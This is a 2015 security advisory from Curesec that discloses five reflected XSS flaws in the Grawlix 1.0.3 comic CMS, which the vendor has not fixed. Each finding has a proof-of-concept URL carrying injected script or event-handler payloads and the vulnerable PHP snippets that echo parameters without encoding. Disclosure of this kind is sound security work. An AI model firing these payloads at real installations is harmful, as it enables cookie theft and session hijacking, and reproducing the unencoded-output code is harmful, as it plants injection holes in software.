Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Grawlix 1.0.3
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://www.getgrawlix.com/
Vulnerability Type:  XSS
Remote Exploitable:  Yes
Reported to vendor:  11/17/2015
Disclosed to public: 12/21/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description

Grawlix is a CMS for publishing comics, which is written in PHP. In version
1.0.3 and possibly prior versions, it contains multiple reflected XSS
vulnerabilities.

Successful exploitation may lead to the injection of JavaScript keyloggers, the
stealing of cookies, or the bypassing of CSRF protection.

3. Details

XSS 1

When searching for a book in the admin area, the keyword parameter is echoed
unencoded inside the value attribute of an input tag, leading to XSS.

Proof of Concept:


http://localhost/grawlix-1.0.3/_admin/book.view.php?keyword=" autofocus onfocus="alert(1)

Code:


_admin/book.view.php
<input type="search" name="keyword" id="keyword" placeholder="Search for" value="$keyword"/>

XSS 2

The slot.label-set.ajax.php script echoes all GET parameters unencoded, leading
to XSS.

Proof of Concept:


http://localhost/grawlix-1.0.3/_admin/slot.label-set.ajax.php?x=<script>alert(1)</script>

Code:


_admin/slot.label-set.ajax.php
echo '<pre>$_GET|';print_r($_GET);echo '|</pre>';

XSS 3

The edit_id parameter of the site.nav-edit.ajax.php is vulnerable to XSS.

Proof of Concept:


http://localhost/grawlix-1.0.3/_admin/site.nav-edit.ajax.php?edit_id="><script>alert(1)</script>

Code:


_admin/site.nav-edit.ajax.php
$edit_id = $_GET['edit_id'];
[...]
$modal->value($edit_id);

_admin/lib/GrlxForm.php
$this->value ? $value = ' value="'.$this->value.'"' : null;

XSS 4

When viewing the book overview, the start_sort_order parameter is vulnerable to
XSS.

Proof of Concept:


http://localhost/grawlix-1.0.3/_admin/book.view.php?delete_page_id=1&start_sort_order=" onmouseover="alert(1)

Code:


_admin/book.view.php
$delete_link->query("delete_page_id=$val[id]&start_sort_order=$start_sort_order");

XSS 5 (limited)

In two scripts, the page_id value is put into a hidden input element without
encoding quotes. It may be possible to execute JavaScript via a style element
in older browsers.

Proof of Concept:


http://localhost/grawlix-1.0.3/_admin/sttc.xml-edit.php?msg=created&page_id=" style="STYLE
http://localhost/grawlix-1.0.3/_admin/book.page-edit.php?page_id=" style="STYLE

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

11/17/2015 Informed Vendor about Issue (no reply)
12/10/2015 Reminded Vendor of Disclosure Date (no reply)
12/21/2015 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/Grawlix-103-XSS-129.html
 
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blog:  https://blog.curesec.com
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Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany